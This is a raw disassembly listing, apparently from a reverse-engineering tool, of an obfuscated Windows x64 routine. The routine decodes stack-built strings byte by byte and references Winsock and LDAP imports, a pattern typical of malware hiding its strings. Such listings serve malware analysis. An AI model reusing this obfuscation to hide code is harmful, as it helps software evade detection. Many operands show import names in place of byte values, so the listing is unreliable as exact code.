movabs rcx, 0xb4ed3e9bf8de2e4c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x1402008d3
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14020072c
movabs rdx, 0xa1dbad8169515514
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140200907
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x14020041d
movabs rcx, 0x8eca1c66d9c47bdc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 4
jmp 0x140200a9c
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x140200778
movabs rdx, 0xdf1e31a472e45cd0
mov ecx, Ordinal_41
jmp 0x1402005cd
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140200795
movabs rdx, 0xb8fb0f6f53caaa60
mov ecx, Ordinal_50
jmp 0x1402008c1
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1402007b2
movabs rdx, 0x92d7ed3a34b0f7f0
mov ecx, Ordinal_60
jmp 0x14020094e
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1402007dd
movabs rcx, 0x7fc65c1fa5241eb8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 8
jmp 0x140200982
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x140200808
movabs rcx, 0x6cb4cb0515974580
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
add bl, 0x80
jmp 0x140200a4d
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x140200825
movabs rdx, 0x59a339ea860a6c48
mov ecx, 4
jmp 0x140200690
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x140200454
movabs rcx, 0x4691a8cff67d9310
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x140200a02
mov byte [rbp + r9 + 0x960], bl
jmp 0x140200aab
movabs rdx, 0x206e869ad763e0a0
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov bl, byte [rbp + r9 + 0x960]
sub bl, al
sub bl, 0x60
add bl, dl
add bl, r8b
jmp 0x140200982
movabs rdx, 0xd5cf58047d70768
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x960]
jmp 0x1402008ce
movabs rdx, 0x324c94af2fdf26ac
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rdx, 0x83d42cf300109acc
add rdx, r9
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x960], al
add r10, rsi
add rax, r10
sub r9, rax
movabs rcx, 0xfa4b6465b84a2e30
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x50
add r8b, cl
mov byte [rbp + r9 + 0x960], r8b
add rdi, rsi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x140200a9c
movabs rdx, 0x586fb6e44ef8d91c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140200a6f
movabs rcx, 0x6b8147fede85b254
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4c
movabs rcx, 0x96e5be0d8f9d7404
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x1c
add cl, bl
add cl, r8b
mov byte [rbp + r9 + 0x960], cl
jmp 0x140200a6f
movabs rdx, 0x7e92d9196e128b8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140200a4d
movabs rdx, 0xa4b5fb4e8d2c3dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x1402009f0
movabs rdx, 0xcad91d83ac45f06c
mov ecx, 6
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rdx, 0xa9f74f281f2a4d3c
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x960], cl
add r10, rsi
jmp 0x140200a4d
movabs rcx, 0xf0fc3fb8cb5fa2dc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 4
sub r9, rsi
jmp 0x140200aab
movabs rcx, 0x171f61edea79554c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140200aab
movabs rcx, 0x6365a65828acba2c
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea ebx, [rdx + rcx]
sub bl, 0x34
movzx eax, byte [rbp + r9 + 0x960]
add rax, r10
add r9, rax
add r9, rsi
jmp 0x140200035
movabs rdx, 0x8befce99b5e992f4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_45
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140200032
movabs rcx, 0x9f015fb445766c2c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x34
jmp 0x140200022
lea rdx, [rbp + 0x16f1090]
jmp 0x140200b14
lea rdx, [rbp + 0x68a3f4]
jmp 0x140200b14
lea rdx, [rbp + 0x960]
lea rcx, [rbp + 0x1b8]
call fcn.14009e330
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2b80]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140200b49
mov rdx, qword [rbx]
mov dword [rsp + 0x20], esi
mov r9d, r15d
mov r8d, r14d
lea rcx, [rbp + 0x2b80]
call fcn.140174580
nop
lea rcx, [rbp + 0x2b80]
call fcn.14024e690
nop
lea rcx, [rbp + 0x2b80]
call fcn.1400a2eb0
nop
mov rcx, rbx
call fcn.1400aa310
mov byte [rbp + 0x840], 0xcb
mov byte [rbp + 0x841], Ordinal_143
mov byte [rbp + 0x842], 0xac
mov byte [rbp + 0x843], 0xf3
mov byte [rbp + 0x844], Ordinal_79
mov byte [rbp + 0x845], 0xf1
mov byte [rbp + 0x846], WSASetLastError
mov byte [rbp + 0x847], 0xf7
mov byte [rbp + 0x848], 0x55
mov byte [rbp + 0x849], 0xf5
mov byte [rbp + 0x84a], 0xa2
mov byte [rbp + 0x84b], 0xfb
mov byte [rbp + 0x84c], 0x66
mov byte [rbp + 0x84d], 0xf9
mov byte [rbp + 0x84e], 0x55
mov byte [rbp + 0x84f], 0xff
mov byte [rbp + 0x850], 0x59
mov byte [rbp + 0x851], 0xfd
mov byte [rbp + 0x852], WSACleanup
mov byte [rbp + 0x853], 0xe3
mov byte [rbp + 0x854], 0x47
mov byte [rbp + 0x855], 0xe1
mov byte [rbp + 0x856], Ordinal_79
mov byte [rbp + 0x857], 0xe7
mov byte [rbp + 0x858], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x859], 0xe5
mov byte [rbp + 0x85a], 0x42
mov byte [rbp + 0x85b], 0xeb
mov byte [rbp + 0x85c], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x85d], 0xe9
mov byte [rbp + 0x85e], r15b
mov byte [rbp + 0x85f], 0xef
mov byte [rbp + 0x860], 0xb8
mov byte [rbp + 0x861], 0xed
mov byte [rbp + 0x862], 0x87
mov byte [rbp + 0x863], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x864], 0x44
mov byte [rbp + 0x865], Ordinal_211
mov byte [rbp + 0x866], r15b
mov byte [rbp + 0x867], Ordinal_217
mov byte [rbp + 0x868], 0x81
mov byte [rbp + 0x869], Ordinal_217
mov byte [rbp + 0x86a], 0x7e
mov byte [rbp + 0x86b], 0xdb
mov byte [rbp + 0x86c], 0x7c
mov byte [rbp + 0x86d], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x86e], WSACleanup
mov byte [rbp + 0x86f], 0xdf
mov byte [rbp + 0x870], Ordinal_143
mov byte [rbp + 0x871], 0xdd
mov byte [rbp + 0x872], 0x64
mov byte [rbp + 0x873], Ordinal_200
mov byte [rbp + 0x874], WSAGetLastError
mov byte [rbp + 0x875], 0xc1
mov byte [rbp + 0x876], 0x54
mov byte [rbp + 0x877], Ordinal_200
mov byte [rbp + 0x878], Ordinal_200
mov byte [rbp + 0x879], Ordinal_200
xor eax, eax
mov dword [rbp + 0x87a], eax
mov word [rbp + 0x87e], ax
mov bl, byte [rsp + 0x50]
call fcn.14024ffe8
mov rdi, qword [rax]
call fcn.14024fff0
mov r10, qword [rax]
mov r9, r13
cmp r9, r15
jae 0x14020191b
movzx r8d, byte [rbp + r9 + 0x840]
mov r11, r8
cmp rdi, r9
ja 0x140201912
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x140200d87
movabs rcx, 0xda32561d88143dbe
add rcx, r9
mov rax, rcx
and rax, r8
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r8
sub bl, 0x32
jmp 0x140200dc1
je 0x140201885
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14020182e
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1402017d8
lea rax, [r10 + 6]
cmp rdi, rax
je 0x1402017af
lea rax, [r10 + 8]
cmp rdi, rax
je 0x140201763
cmp r10, r9
ja 0x140201909
lea rax, [r10 + 4]
cmp rdi, rax
jae 0x140200df2
movabs rcx, 0xe621106c29a91096
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x1a
jmp 0x140200e26
lea rax, [r10 + 1]
cmp rdi, rax
je 0x140201744
lea rax, [r10 + 2]
cmp rdi, rax
je 0x140201721
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1402016f2
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1402016d4
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x1402013a0
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x14020137f
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x14020136b
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x140201348
lea rax, [r10 + 9]
cmp rdi, rax
je 0x140201334
lea rax, [r10 + 8]
cmp rdi, rax
je 0x140201311
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x1402012ef
lea rax, [r10 + 0x41]
cmp rdi, rax
je 0x1402012db
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x1402012b9
lea rax, [r10 + 5]
cmp rdi, rax
je 0x140201293
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x140200e33
lea rdi, [r10 + 0x200]
lea r10, [rdi + 0x28]
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x1402018e3
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x1402018bd
lea rax, [r10 + 8]
cmp rdi, rax
jb 0x140201031
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x14020100b
lea rax, [r10 + 0x42]
cmp rdi, rax
jb 0x140200fe8
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x1402011fa
lea rax, [r10 + 5]
cmp rdi, rax
jb 0x1402011e9
lea rax, [r10 + 4]
cmp rdi, rax
jb 0x14020119b
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x14020116d
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x140200e33
lea rdi, [r10 + 0x64]
lea r10, [rdi + 0x400]
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x140201159
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x140201136
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x140201114
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x1402010ee
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x1402010cc
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x1402010ab
lea rax, [r10 + 3]
cmp rdi, rax
ja 0x140201089
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x140201067
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x140201053
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x140200e33
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 1]
jmp 0x140200e33
movabs rdx, 0x7954c208e2fd862a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x26
add bl, dl
jmp 0x140200e26
movabs rdx, 0xc4f015cdd2d50aae
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140200dc1
movabs rcx, 0x108b6992c2ac8f32
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5e
jmp 0x140200d50
movabs rdx, 0x310883614d4884b0
mov ecx, Ordinal_27
jmp 0x140201772
movabs rcx, 0x7ca3d7263d200934
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x6c
jmp 0x1402017aa
movabs rcx, 0xc83f2aeb2cf78db8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 8
jmp 0x1402017d0
movabs rdx, 0x13da7eb01ccf123c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x140201672
movabs rcx, 0x5f75d2750ca696c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r15b
jmp 0x1402016a1
movabs rdx, 0xab112639fc7e1b44
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14020170f
movabs rcx, 0xf6ac79feec559fc8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x78
jmp 0x1402017f8
movabs rdx, 0x4247cdc3dc2d244c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x14
add bl, dl
jmp 0x140201852
movabs rdx, 0x8de32188cc04a8d0
mov ecx, Ordinal_41
jmp 0x1402012a2
movabs rdx, 0x4ae772f5239f741a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
mov byte [rbp + r9 + 0x840], bl
jmp 0x1402018b5
movabs rcx, 0x9682c6ba1376f89e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x52
cmp r10, 0x1000
jb 0x14020118e
movabs rdx, 0xf00e4fc4381099b4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x140201784
movabs rdx, 0xe21e1a7f034e7d22
mov ecx, 9
jmp 0x140201245
movabs rdx, 0x2db96e43f32601a6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 6
je 0x1402016a6
lea rax, [r10 + 0x10]
cmp rdi, rax
jbe 0x14020149f
movabs rdx, 0xfdfe85096cd2b646
mov ecx, ntohl
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp rdi, r15
jae 0x140201651
lea rax, [r10 + 0x200]
cmp rdi, rax
jbe 0x14020157e
movabs rdx, 0xe41f9575967bc6dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 4
add bl, dl
jmp 0x1402011b8
movabs rdx, 0x64c66288f9f66384
mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1402018a6
movabs rcx, 0xb061b64de9cde808
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
jmp 0x140201852
movabs rdx, 0xfbfd0a12d9a56c8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x1402016e3
movabs rcx, 0x47985dd7c97cf110
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x14020170f
movabs rcx, 0x9333b19cb9547594
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0xc
jmp 0x1402016a1
movabs rdx, 0xdecf0561a92bfa18
mov ecx, Ordinal_45
jmp 0x1402010ba
movabs rcx, 0x2a6a592699037e9c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x44
jmp 0x1402017d0
movabs rdx, 0x7605aceb88db0320
mov ecx, reloc.WS2_32.dll_recv
jmp 0x140201488
movabs rdx, 0xc1a100b078b287a4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7c
jmp 0x140201782
lea rax, [r10 + 8]
cmp rdi, rax
jae 0x1402013cb
movabs rcx, 0xda32561d88143dbe
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x32
jmp 0x14020121b
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1402013f7
movabs rcx, 0xcc4220d85352212c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x1402018a6
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x140201412
movabs rdx, 0x350b794e73a31824
mov ecx, r14d
jmp 0x1402016e3
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x140201441
movabs rdx, 0x9dd4d1c493f40f1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1402016a1
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14020146c
movabs rcx, 0x52397dffa41c8a98
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x28
jmp 0x140201677
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14020121b
movabs rdx, 0xbb02d675c46d8190
mov ecx, 8
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1402017aa
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1402014ca
movabs rcx, 0xb26331447cfb31c2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4e
jmp 0x140201784
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1402014f4
movabs rdx, 0xcf9135f5ad74a436
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7a
jmp 0x140201675
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x140201523
movabs rdx, 0x83f5e230bd9d1fb2
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1402016a1
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14020154e
movabs rcx, 0x385a8e6bcdc59b2e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x42
jmp 0x14020170f
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x140201257
movabs rcx, 0x5588931cfe3f0da2
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6e
jmp 0x1402018a6
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1402015aa
movabs rcx, 0x988441b0a6a44258
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x1402018a6
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1402015d6
movabs rdx, 0x14d9a26c6f53950
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x30
add bl, dl
jmp 0x1402017f8
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1402015f3
movabs rdx, 0x6a16f29ce7463048
mov ecx, 4
jmp 0x14020142a
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x140201622
movabs rdx, 0xd2e04b1307972740
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1402017d0
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1402011b8
movabs rcx, 0x8744f74e17bfa2bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, r12b
jmp 0x1402017aa
movabs rdx, 0xa472fbff48391530
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x840]
sub bl, al
sub bl, 0x50
add bl, r8b
add bl, dl
movabs rdx, 0x7ea5521cd04d52ee
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
add cl, bl
mov byte [rbp + r9 + 0x840], cl
add rdi, r10
jmp 0x14020170f
movabs rdx, 0x58d7a83a586190ac
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x840]
add bl, dl
add bl, r8b
jmp 0x1402017f8
movabs rdx, 0xd4e1c6099ac470fa
mov ecx, reloc.WS2_32.dll_setsockopt
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x1402016ca
movabs rcx, 0x207d19ce8a9bf57e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x72
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1402018b5
movabs rcx, 0x34f151d5a22830a
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x46
jmp 0x1402017d0
movabs rcx, 0x9a85bca739d18c12
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7e
jmp 0x140201784
movabs rdx, 0x31bc64311980951a
mov ecx, Ordinal_41
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rcx, 0xca40a5e1c024d772
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x1e
add r8b, cl
mov byte [rbp + r9 + 0x840], r8b
add r10, rsi
jmp 0x1402017d0
movabs rdx, 0xc8f30bbaf92f9e22
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
sub r9, rsi
jmp 0x1402018b5
mov r8, r11
movabs rcx, 0xf7605aceb88db032
add rcx, r9
mov al, cl
and al, r11b
add al, al
sub cl, al
lea ebx, [r11 + rcx]
sub bl, 0x5e
movabs rdx, 0x3309fe57e075ce6a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
movzx eax, cl
mov byte [rbp + r9 + 0x840], al
add r10, rsi
add rax, r10
sub r9, rax
jmp 0x140201852
movabs rdx, 0x42fbae93a86534b6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
mov r8b, r11b
movabs rcx, 0xd3c5475688a0c28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x18
add cl, r8b
mov byte [rbp + r9 + 0x840], cl
add rdi, rsi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x1402018a6
movabs rdx, 0x8e970258983cb93a
add rdx, r9
mov al, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
movzx eax, byte [rbp + r9 + 0x840]
add rax, r10
add r9, rax
add r9, rsi
jmp 0x140200d3e
movabs rdx, 0x5c26bd57b28413b6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x140200d3b
movabs rdx, 0xa7c2111ca25b983a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x140200d2b
lea rdx, [rbp + 0x15983e8]
jmp 0x140201922
lea rdx, [rbp + 0x16dc1a6]
jmp 0x140201922
lea rdx, [rbp + 0x840]
lea rcx, [rbp + 0x1d8]
call fcn.14009e330
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x2c90]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140201957
mov rdx, qword [rbx]
mov dword [rsp + 0x20], esi
mov r9d, r15d
mov r8d, r14d
lea rcx, [rbp + 0x2c90]
call fcn.140174580
nop
lea rcx, [rbp + 0x2c90]
call fcn.14024e690
nop
lea rcx, [rbp + 0x2c90]
call fcn.1400a2eb0
nop
mov rcx, rbx
call fcn.1400aa310
mov byte [rbp + 0xf10], 0xe3
mov byte [rbp + 0xf11], 0xad
mov byte [rbp + 0xf12], 0xec
mov byte [rbp + 0xf13], 0xab
mov byte [rbp + 0xf14], ntohl
mov byte [rbp + 0xf15], 0xa9
mov byte [rbp + 0xf16], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xf17], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xf18], 0x3d
mov byte [rbp + 0xf19], __WSAFDIsSet
mov byte [rbp + 0xf1a], r13b
mov byte [rbp + 0xf1b], __WSAFDIsSet
mov byte [rbp + 0xf1c], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xf1d], __WSAFDIsSet
mov byte [rbp + 0xf1e], reloc.WS2_32.dll_listen
mov byte [rbp + 0xf1f], 0x9f
mov byte [rbp + 0xf20], 7
mov byte [rbp + 0xf21], 0x9d
mov byte [rbp + 0xf22], 5
mov byte [rbp + 0xf23], 0x9b
mov byte [rbp + 0xf24], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xf25], 0x99
mov byte [rbp + 0xf26], Ordinal_45
mov byte [rbp + 0xf27], 0x87
mov r12d, reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0xf28], r12b
mov byte [rbp + 0xf29], 0x85
mov byte [rbp + 0xf2a], Ordinal_217
mov byte [rbp + 0xf2b], 0x83
mov byte [rbp + 0xf2c], 0x3d
mov byte [rbp + 0xf2d], 0x81
mov byte [rbp + 0xf2e], Ordinal_50
mov byte [rbp + 0xf2f], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xf30], Ordinal_45
mov byte [rbp + 0xf31], Ordinal_143
mov byte [rbp + 0xf32], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xf33], Ordinal_143
mov byte [rbp + 0xf34], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xf35], Ordinal_143
mov byte [rbp + 0xf36], 0x64
mov byte [rbp + 0xf37], 0xf7
mov byte [rbp + 0xf38], 0x5c
mov byte [rbp + 0xf39], 0xf5
mov byte [rbp + 0xf3a], 0x62
mov byte [rbp + 0xf3b], 0xf3
mov byte [rbp + 0xf3c], 0xaa
mov byte [rbp + 0xf3d], 0xf1
mov byte [rbp + 0xf3e], 0xa2
mov byte [rbp + 0xf3f], 0xff
mov byte [rbp + 0xf40], 0xae
mov byte [rbp + 0xf41], 0xfd
mov byte [rbp + 0xf42], 0x57
mov byte [rbp + 0xf43], 0xfb
mov byte [rbp + 0xf44], 0x60
mov byte [rbp + 0xf45], 0xf9
mov byte [rbp + 0xf46], Ordinal_79
mov byte [rbp + 0xf47], 0xe7
mov byte [rbp + 0xf48], 0xb6
mov byte [rbp + 0xf49], 0xe5
